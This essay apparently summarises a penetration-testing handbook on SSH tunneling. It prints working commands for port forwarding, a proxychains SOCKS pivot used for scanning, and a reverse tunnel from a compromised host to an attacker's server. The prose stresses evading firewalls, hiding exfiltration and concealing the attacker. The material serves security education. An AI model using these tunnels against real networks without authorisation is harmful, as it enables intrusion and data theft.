A firewall is a set of rules about which traffic is allowed through which ports to which destinations.
Rules have exceptions. Exceptions have geometry. If you understand the geometry, you do not need to break the rules — you route around them through channels the rules were not written to see.
That is the plumber's mindset, and Brennon Thomas's Cyber Plumber's Handbook is the field manual for it. Written as a practical guide to SSH tunneling, pivoting, and traffic redirection for penetration testers, it documents techniques that predate modern security tooling and remain fully operational in 2026 because the underlying protocols have not changed. SSH is still SSH. TCP is still TCP. The pipe is still a pipe.
The sophistication of the monitoring has increased. The geometry of the evasion has not.
Local Port Forwarding: The Wormhole
The entry point is ssh -L. You tell the SSH client to listen on a local port and forward everything it receives through the encrypted tunnel to a destination the remote server can reach.
# Forward local 5432 to an internal database through the jumpbox
ssh -L 5432:database.internal:5432 [email protected]
# Now connect as if the database is sitting on your machine
psql -h localhost -p 5432 -U dbuser
To your client, the database is on localhost. To the network, you are maintaining an SSH session to a jumpbox — which is what developers do all day. The database traffic never appears in the logs as database traffic. It appears as SSH.
In 2016 this bypassed basic firewalls that blocked port 5432 while allowing 22. In 2026 it bypasses identity-aware proxies that monitor HTTPS for anomalous data patterns. The proxy sees SSH. The SSH is carrying the database session. The proxy's behavioral model was trained on HTTPS — it does not have a signature for what developer SSH traffic looks like when it is secretly running an exfiltration.
The geometry did not change. The value of the geometry increased because the monitoring layer got more sophisticated around the ports it was watching and left SSH mostly alone.
SOCKS Proxy: Routing Tools That Don't Know About Proxies
ssh -D opens a SOCKS5 proxy on a local port that routes all traffic through the tunnel. Combined with proxychains, you can force any tool — including tools that have no native proxy support — through the tunnel as if it were running from the remote machine.
# Open SOCKS5 proxy on local 1080 through a cloud instance in a specific region
ssh -D 1080 [email protected]
# Route nmap through it — scan appears to originate from the instance
proxychains nmap -sV -p 22,80,443,3306 10.0.0.0/24
# Route curl through it — HTTP request appears to come from the instance
proxychains curl https://internal-api.example.com/admin
The geofencing use case is underappreciated. Cloud assets and internal APIs frequently allowlist by IP range or region. A SOCKS proxy through a rented or compromised instance in the allowed region is not a VPN — it leaves a different fingerprint, uses legitimate SSH infrastructure, and routes tool traffic that commercial VPNs would not handle cleanly.
proxychains is the force multiplier. Older network scanners, custom scripts, database clients, legacy tools — none of them were built with proxy support. proxychains intercepts their socket calls at the library level and routes them through the SOCKS tunnel. The tools do not know they are being proxied. They run exactly as normal. Their traffic arrives from the remote instance.
The Reverse Tunnel: The Door That Opens from Inside
This is the technique that matters most in 2026 and the one Thomas treats with appropriate gravity.
Most enterprise firewalls operate on a default-deny posture for inbound traffic and a permissive posture for outbound. The logic is sensible: the organization controls what leaves, the internet does not get to initiate connections inward. This posture defeats a large fraction of traditional attack patterns.
The reverse tunnel inverts the direction.
# From the compromised internal host — initiate outbound SSH to attacker's server
# Remote port 2222 on the attacker's server tunnels back to localhost:22 on the victim
ssh -R 2222:localhost:22 [email protected] -N
# Attacker then connects back through the tunnel from their own server
ssh -p 2222 localhost
# Now inside the network — on the compromised machine
The firewall sees an outbound SSH connection from an internal host to an external server. Outbound SSH is allowed. The firewall logs an allowed session and moves on.
What the firewall did not see: the remote port forward that turned that outbound session into a persistent inbound channel. The attacker's server now has a door into the network that will reopen every time the compromised host reconnects — which a persistent agent will do automatically on restart, on network reconnect, on schedule.
The defender only sees traffic between the compromised host and the external server. The attacker's actual IP, their actual infrastructure, their actual location — all of it is behind the plumbing. The ghost location stays hidden behind the pipe.
The Escalation Ladder
SSH is the clean solution. When it is blocked, Thomas documents the escalation:
